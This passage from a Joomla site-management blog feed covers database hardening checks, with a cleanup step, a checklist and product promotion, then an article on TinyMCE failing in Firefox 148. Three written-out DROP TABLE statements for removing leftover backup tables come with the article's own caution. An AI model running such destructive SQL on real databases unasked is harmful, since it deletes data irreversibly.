&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; TABLE&lt;/span&gt;&lt;span&gt; bak_jos_users;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; TABLE&lt;/span&gt;&lt;span&gt; bak_jos_content;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt; TABLE&lt;/span&gt;&lt;span&gt; bak_jos_extensions;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Verify the site works normally afterward.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;Don&apos;t delete tables you can&apos;t identify. Some extensions create tables with non-obvious names. If you&apos;re unsure whether a table belongs to an active extension, check the extension&apos;s documentation or search for the table name in the extension&apos;s source code before dropping it.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Preventing future backup table accumulation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Configure your backup extension (&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; or similar) to store backups as files, not as additional database tables&lt;/li&gt;
&lt;li&gt;After running database migrations, include table cleanup as part of your post-migration checklist&lt;/li&gt;
&lt;li&gt;If you’re manually duplicating tables before making changes, set a calendar reminder to remove them within a week&lt;/li&gt;
&lt;li&gt;Run the mySites.guru snapshot periodically. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule it&lt;/a&gt; to run weekly or monthly, and it will catch new backup tables before they accumulate&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Does Your Database Schema Match the Installed Joomla Version?&lt;/h2&gt;
&lt;p&gt;When Joomla updates between versions, it runs database migration scripts that add new tables, add columns to existing tables, change column types, and update indexes. If an update fails partway through, or if someone restores a database backup from an older version without re-running migrations, the database schema can end up out of sync with the installed Joomla code.&lt;/p&gt;
&lt;p&gt;A schema mismatch can cause subtle bugs. Extension installs might fail with no error. Admin pages might throw errors when trying to access columns that don’t exist. In some cases, Joomla’s built-in update process gets stuck because it thinks a migration already ran when it didn’t.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector loads Joomla’s &lt;code&gt;com_installer&lt;/code&gt; Database model and compares the current schema version (stored in the &lt;code&gt;#__schemas&lt;/code&gt; table) against the latest schema version available in Joomla’s migration files. If the versions don’t match, the check fails. On Joomla 4 and later, it also compares the &lt;code&gt;com_admin&lt;/code&gt; extension version against the installed Joomla version to catch partial updates.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current vs expected schema version numbers and any schema errors. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will run the missing migration scripts remotely. The pivot view shows you which sites across your portfolio have schema mismatches, so you can batch your fixes.&lt;/p&gt;
&lt;h3&gt;Option 2: Fix via Joomla’s built-in tool&lt;/h3&gt;
&lt;p&gt;Joomla includes a built-in database repair tool. In the Joomla administrator:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Maintenance &amp;gt; Database&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Joomla will compare the expected schema against the actual database&lt;/li&gt;
&lt;li&gt;Select any items marked as needing attention&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update Structure&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the built-in tool can’t resolve the issue (rare, but it happens with heavily customized sites), you may need to manually apply the missing SQL from Joomla’s migration files in &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Always &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;back up your database&lt;/a&gt; before running schema fixes.&lt;/p&gt;
&lt;h2&gt;Should You Enable Joomla’s User Action Log Auto Purge?&lt;/h2&gt;
&lt;p&gt;Joomla’s User Action Log component tracks administrator activity: who logged in, who changed what article, who installed which extension. It’s a useful audit trail, but the log table grows over time. Without automatic purging, the &lt;code&gt;#__action_logs&lt;/code&gt; table can grow to hundreds of thousands of rows on busy sites, slowing down database operations and backups.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector reads the &lt;code&gt;logDeletePeriod&lt;/code&gt; parameter from the &lt;code&gt;PLG_SYSTEM_ACTIONLOGS&lt;/code&gt; plugin in the &lt;code&gt;#__extensions&lt;/code&gt; table. The check passes only if the value is exactly 30. If it’s set to a different number, disabled, or not configured, the check fails and shows the current value (or “Days” if no value is set). This is a Joomla 3.9+ check only.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current purge setting. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will set the value to 30 days remotely. Use the pivot view to see which sites across your portfolio need this configured.&lt;/p&gt;
&lt;h3&gt;Option 2: Fix via Joomla admin&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;In the Joomla administrator, go to &lt;strong&gt;System &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for “Action Log - User Actions”&lt;/li&gt;
&lt;li&gt;Open the plugin settings&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Days to delete log entries after&lt;/strong&gt; to 30 (or whatever retention period you need)&lt;/li&gt;
&lt;li&gt;Make sure the plugin is enabled&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For sites where you need longer retention (compliance requirements, client audit trails), set a longer period. The point is to have some limit rather than letting the table grow without bounds.&lt;/p&gt;
&lt;h2&gt;A complete Joomla database security checklist&lt;/h2&gt;
&lt;p&gt;Here’s the complete set of database integrity checks you should apply to every Joomla site you manage:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Table prefix&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Is it something other than &lt;code&gt;jos_&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Is it random and non-guessable?&lt;/li&gt;
&lt;li&gt;Does it end with an underscore?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database user&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Is it a dedicated user (not root)?&lt;/li&gt;
&lt;li&gt;Does it have a strong, unique password?&lt;/li&gt;
&lt;li&gt;Is it restricted to connecting from localhost only?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Single database access&lt;/strong&gt; (mySites.guru check)
&lt;ul&gt;
&lt;li&gt;Does the database user only have access to one database?&lt;/li&gt;
&lt;li&gt;Is each site on the server using its own dedicated user?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup tables&lt;/strong&gt; (mySites.guru check, Joomla only)
&lt;ul&gt;
&lt;li&gt;Are there leftover &lt;code&gt;bak_&lt;/code&gt; tables in the database?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Schema integrity&lt;/strong&gt; (mySites.guru check, Joomla only)
&lt;ul&gt;
&lt;li&gt;Does the database schema version match the installed Joomla version?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Action log purge&lt;/strong&gt; (mySites.guru check, Joomla 3.9+ only)
&lt;ul&gt;
&lt;li&gt;Is the User Action Log plugin configured to auto-purge at 30 days?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privileges&lt;/strong&gt; (manual check)
&lt;ul&gt;
&lt;li&gt;Are only the required privileges granted? (SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, and optionally CREATE TEMPORARY TABLES and LOCK TABLES)&lt;/li&gt;
&lt;li&gt;Are dangerous privileges absent? (FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN)&lt;/li&gt;
&lt;li&gt;Is &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; not being used?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration protection&lt;/strong&gt; (manual check)
&lt;ul&gt;
&lt;li&gt;Is &lt;code&gt;configuration.php&lt;/code&gt; set to 444 (read-only) permissions?&lt;/li&gt;
&lt;li&gt;Is the database password unique and not reused elsewhere?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Run the mySites.guru snapshot on your connected sites to check items 1-6 automatically. For items 7-8, you’ll need to verify manually. For sites that fail multiple checks, prioritise fixing them in order: root user first (critical), then single-database access (critical), then table prefix (medium), then backup tables and schema (maintenance).&lt;/p&gt;
&lt;h2&gt;How Do You Check Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, checking database security manually on each one would take forever. This is where mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; earns its keep.&lt;/p&gt;
&lt;p&gt;Run a snapshot across all connected sites with a single click, or &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule them to run automatically&lt;/a&gt; on whatever cadence makes sense. The pivot view (shown above) lets you pick any single check and see every site’s status on one screen, so you can focus your time on the sites that actually need attention.&lt;/p&gt;
&lt;p&gt;The snapshot captures &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 100 checks per site&lt;/a&gt;, and the database integrity checks covered in this post are just one category. You’ll also get checks for &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, file permissions, core file integrity, &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;PHP configuration&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;dangerous leftover files&lt;/a&gt;, and much more. Combined with a full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; that scans for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, you get a thorough picture of each site’s security posture.&lt;/p&gt;
&lt;p&gt;For each flagged issue, the tool links to a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt; so your team members and clients understand why the recommendation matters, not just what to change.&lt;/p&gt;
&lt;h2&gt;What About WordPress Database Security?&lt;/h2&gt;
&lt;p&gt;The underlying risks are identical for WordPress. The default table prefix is &lt;code&gt;wp_&lt;/code&gt; instead of &lt;code&gt;jos_&lt;/code&gt;, and the table names are different, but automated tools target &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_options&lt;/code&gt; just as readily as they target &lt;code&gt;jos_users&lt;/code&gt; and &lt;code&gt;jos_extensions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The mySites.guru snapshot runs three of the same database checks on WordPress sites: default &lt;code&gt;wp_&lt;/code&gt; prefix detection, root user warnings, and single-database access checks. WordPress also gets a &lt;strong&gt;Pending Database Migrations&lt;/strong&gt; check (comparing the code’s expected &lt;code&gt;$wp_db_version&lt;/code&gt; against the stored &lt;code&gt;db_version&lt;/code&gt; option) instead of the Joomla schema check. The backup tables and action log purge checks are Joomla-specific.&lt;/p&gt;
&lt;p&gt;Note that WordPress database fix tools currently require manual action - the remote &lt;strong&gt;Fix This For Me&lt;/strong&gt; buttons are available on Joomla sites only. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage both Joomla and WordPress sites&lt;/a&gt; from the mySites.guru dashboard, the snapshot will still flag the issues on WordPress so you know what needs attention.&lt;/p&gt;
&lt;h2&gt;Learn More: Basic Joomla Tutorials&lt;/h2&gt;
&lt;p&gt;If you prefer video walkthroughs, Tim Davis runs the &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; YouTube channel with hundreds of Joomla maintenance and security videos. The three videos linked throughout this post cover the database topics in detail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GQvGbT2qC_4&quot;&gt;Don’t Use the Default JOS_ Database Table Prefix in Joomla&lt;/a&gt; - why the default prefix is a target and how to change it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt; - why each site needs its own database user with access to only one database&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt; - finding and safely removing orphaned backup tables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tim’s Maintenance Monday streams are a solid resource for anyone managing Joomla sites professionally.&lt;/p&gt;
&lt;h2&gt;Beyond the snapshot: defence in depth&lt;/h2&gt;
&lt;p&gt;Database security checks are one layer in a multi-layered security strategy. They complement other practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep Joomla and extensions updated.&lt;/strong&gt; Most SQL injection vulnerabilities are in outdated extensions. &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass updates from the mySites.guru dashboard&lt;/a&gt; keep everything current with minimal effort.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run regular security audits.&lt;/strong&gt; The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep audit&lt;/a&gt; scans every file in your webspace against thousands of known malware patterns, and the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can identify obfuscated threats that signature-based scanning misses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up real-time alerts.&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File change and login monitoring&lt;/a&gt; catches suspicious activity the moment it happens, before an attacker has time to establish persistence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protect configuration files.&lt;/strong&gt; Your &lt;code&gt;configuration.php&lt;/code&gt; contains your database credentials in plain text. It should be readable only by the web server user, not writable, and not accessible from the web. The mySites.guru snapshot checks file permissions as part of its standard run, and the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files tool&lt;/a&gt; can surface configuration files that have been copied or backed up to accessible locations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use strong, unique passwords everywhere.&lt;/strong&gt; The database password in &lt;code&gt;configuration.php&lt;/code&gt; should be unique to that site. Password reuse across sites means a compromise on one site compromises them all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your Joomla email config.&lt;/strong&gt; A compromised site is often used to send spam. &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;Verify your email configuration works&lt;/a&gt; so you’ll notice if something changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;If you’re already a mySites.guru subscriber, run a snapshot on your sites and check the Database Integrity section in the results. Fix whatever is flagged, starting with the most critical issues.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; to see what the tool finds on your site. It takes under two minutes to connect a site and run the first snapshot. You might be surprised at what’s been sitting in your database configuration since the day the site was installed.&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client sites, the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing plans&lt;/a&gt; scale with the number of connected sites. Every plan includes unlimited snapshots and audits across all your sites, database integrity checks included, no add-on required.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/security-guidelines.html&quot;&gt;MySQL 8.4 Security Guidelines&lt;/a&gt; - Official MySQL documentation on securing your database server, including user management, network access, and encryption.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html&quot;&gt;OWASP Database Security Cheat Sheet&lt;/a&gt; - Guidance on database hardening for MySQL, PostgreSQL, and other platforms, with specific configuration recommendations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla-tips.org/secure-joomla/change-the-default-joomla-database-prefix.html&quot;&gt;Change the Default Joomla Database Prefix&lt;/a&gt; - Step-by-step walkthrough of changing the jos_ prefix on existing Joomla installations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2010/the-prefix-has-nothing-to-do-with-telephony&quot;&gt;The Prefix Has Nothing To Do With Telephony&lt;/a&gt; - Joomla Magazine article on the history and purpose of database table prefixes in Joomla.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; - Tim Davis’s YouTube channel with hundreds of Joomla tutorials, including the Maintenance Monday security series.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Database security is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>database</category><category>joomla</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-check-joomla-database-security.png" length="0" type="image/png"/></item><item><title>Joomla TinyMCE Editor Broken in Firefox 148 - How to Fix It</title><link>https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</guid><description>Firefox 148 broke the TinyMCE editor in Joomla 4, 5, and 6. The editor flickers and reloads endlessly. Joomla 5.4.4 and 6.0.4 fix it permanently.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; Joomla 5.4.4 and 6.0.4 are out with the TinyMCE fix baked in, plus six security patches. Update to these versions instead of using the hotfix. &lt;a href=&quot;#upgrade-all-your-joomla-sites-from-one-dashboard-with-mysitesguru&quot;&gt;Jump to update instructions&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On February 26, 2026, Firefox 148 was released and immediately broke the TinyMCE editor in Joomla. Every version of Joomla that ships TinyMCE was affected: 4.4.x, 5.4.x, and 6.0.x. The editor flickers endlessly, reloading its iframe in an infinite loop. Content editing becomes impossible.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The TinyMCE editor in Joomla flickering endlessly in Firefox 148, caught in an infinite reload loop&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;482&quot; src=&quot;https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_ZvksTV.webp&quot; srcset=&quot;https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_ZlNHQN.webp 640w, https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_GM2rP.webp 750w, https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_ZXRWof.webp 828w, https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_1iUKsV.webp 1080w, https://mysites.guru/_astro/tinymce-firefox-148-flashing.DkZrdToB_ZvksTV.webp 1200w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;multiple Joomla sites&lt;/a&gt; and your content editors started reporting problems the same week, this is almost certainly the cause. &lt;strong&gt;Joomla 5.4.4 and 6.0.4 were &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;released on March 31, 2026&lt;/a&gt;&lt;/strong&gt; with this fix included, along with six security patches. Updating to these versions is now the recommended solution. Hotfix packages for 5.4.3 and 6.0.3 are also still available from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;downloads.joomla.org&lt;/a&gt; if you cannot update immediately.&lt;/p&gt;
&lt;h2&gt;What went wrong with Joomla’s TinyMCE?&lt;/h2&gt;
&lt;p&gt;Firefox 148 removed a deprecated API called &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt;. This was a Mozilla-specific property that let JavaScript distinguish between mouse clicks from different input devices (physical mouse, touch screen, pen). Mozilla marked it as deprecated years ago and finally removed it in Firefox 148.&lt;/p&gt;
&lt;p&gt;TinyMCE’s initialization code relied on this property. During editor setup, TinyMCE checks whether the iframe containing the editor has finished loading. The code path that performed this check interacted with &lt;code&gt;mozInputSource&lt;/code&gt; in a way that, once the property was removed, caused the iframe to never reach a completed state. TinyMCE would detect the iframe as incomplete, tear it down, and reinitialize, over and over.&lt;/p&gt;
&lt;p&gt;The result: the editor loads its stylesheets repeatedly, the content area flickers, and you cannot type or interact with anything.&lt;/p&gt;
&lt;h2&gt;Which browsers and platforms are affected?&lt;/h2&gt;
&lt;p&gt;The bug is specific to Firefox:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Firefox 148&lt;/strong&gt; on macOS (both Apple Silicon and Intel), Windows 11, and Ubuntu 24.04&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firefox Developer Edition 149.0b1&lt;/strong&gt; (also affected, confirming this is a permanent API removal)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chrome, Safari, Edge&lt;/strong&gt;: Unaffected. These browsers never implemented &lt;code&gt;mozInputSource&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means the issue only hits users and content editors who use Firefox. If your agency standardizes on Chrome, you might not have noticed. But if even one of your clients or their editors uses Firefox, their editing workflow broke overnight with no warning.&lt;/p&gt;
&lt;h2&gt;Which Joomla versions are affected?&lt;/h2&gt;
&lt;p&gt;Every version of Joomla that includes TinyMCE as the default editor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla 4.4.x&lt;/strong&gt; (confirmed on 4.4.14)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 5.4.x&lt;/strong&gt; (confirmed on 5.4.3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 6.0.x&lt;/strong&gt; (confirmed on 6.0.3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The bug is in TinyMCE’s JavaScript, not in Joomla’s PHP code. Any Joomla installation using the bundled TinyMCE editor is affected regardless of template, extensions, or server configuration.&lt;/p&gt;
&lt;h2&gt;What is the upstream TinyMCE issue?&lt;/h2&gt;
&lt;p&gt;The root cause sits in TinyMCE itself, tracked as &lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;GitHub issue #10947&lt;/a&gt; on the TinyMCE repository. The fix required TinyMCE to switch from the removed &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt; to the standard &lt;code&gt;PointerEvent.pointerType&lt;/code&gt; API, which provides the same input-device detection using a cross-browser standard.&lt;/p&gt;
&lt;p&gt;Joomla’s fix, tracked as &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;PR #46889&lt;/a&gt;, patches the TinyMCE initialization script bundled with Joomla. The fix modifies a single file: &lt;code&gt;build/media_source/plg_editors_tinymce/js/tinymce.es6.js&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How did Joomla respond?&lt;/h2&gt;
&lt;p&gt;The Joomla project handled this well. The issue was &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;flagged&lt;/a&gt; on February 26, the same day Firefox 148 shipped. The fix was already merged into the development branches before the report was even filed, because the Joomla team had caught it during Firefox Developer Edition testing.&lt;/p&gt;
&lt;p&gt;The Joomla Magazine published a detailed post-mortem titled &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;“How we decided not to panic”&lt;/a&gt;, walking through the team’s decision process for handling the incident. Rather than rushing out emergency point releases, they chose to ship hotfix packages that site owners could install through Extension Manager while preparing proper releases on the normal timeline.&lt;/p&gt;
&lt;p&gt;Credit where it’s due - the Joomla team got the response right on this one.&lt;/p&gt;
&lt;h2&gt;How do you fix the Joomla TinyMCE issue?&lt;/h2&gt;
&lt;h3&gt;Upgrade all your Joomla sites from one dashboard with mySites.guru&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 shipped on March 31, 2026&lt;/a&gt; with the TinyMCE fix included permanently, plus six security patches covering SQL injection, XSS, arbitrary file deletion, and access control issues. Update to these versions if you haven’t already.&lt;/p&gt;
&lt;p&gt;If you manage multiple Joomla sites, the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; is the fastest way to get every site patched. Filter your &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;dashboard&lt;/a&gt; by Joomla version to find sites still on 5.4.3 or 6.0.3, select them all, and hit upgrade. Every site updates in one operation - no logging into individual admin panels, no downloading packages manually.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; tracks Joomla core versions and &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension versions across every connected site&lt;/a&gt;, so you can see at a glance which sites still need the update. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; works for any Joomla point release, not just this one - whenever a security update drops, you can &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;push it across your entire portfolio from one screen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Fixing a single site manually&lt;/h3&gt;
&lt;p&gt;If you only manage one site, or don’t have a mySites.guru account yet, update through your Joomla admin panel:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Joomla Update&lt;/strong&gt; in your admin&lt;/li&gt;
&lt;li&gt;You should see Joomla 5.4.4 or 6.0.4 available&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Install the Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Clear your browser cache and reload the article editor&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Still on the hotfix? Time to update&lt;/h3&gt;
&lt;p&gt;If you applied the TinyMCE hotfix package for Joomla 5.4.3 or 6.0.3 earlier, updating to 5.4.4 / 6.0.4 supersedes it. The hotfix only patched TinyMCE’s JavaScript - the full release includes that same fix plus six security patches you need anyway. Use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;Mass Package Installer&lt;/a&gt; or the Mass Upgrade tool to get all sites current.&lt;/p&gt;
&lt;h3&gt;Switch editors temporarily&lt;/h3&gt;
&lt;p&gt;Changing the default editor to &lt;strong&gt;CodeMirror&lt;/strong&gt; or &lt;strong&gt;JCE&lt;/strong&gt; avoids the problem entirely. Go to &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Default Editor&lt;/strong&gt;. This is a workaround, not a fix, and should be reversed once you update to 5.4.4 / 6.0.4.&lt;/p&gt;
&lt;h2&gt;What does this incident teach us?&lt;/h2&gt;
&lt;p&gt;Browser vendors remove deprecated APIs on their own schedule. They do not coordinate with every CMS and JavaScript library that might depend on those APIs. Mozilla deprecated &lt;code&gt;mozInputSource&lt;/code&gt; years ago, but the actual removal still caught TinyMCE (and by extension, every CMS that bundles it) off guard.&lt;/p&gt;
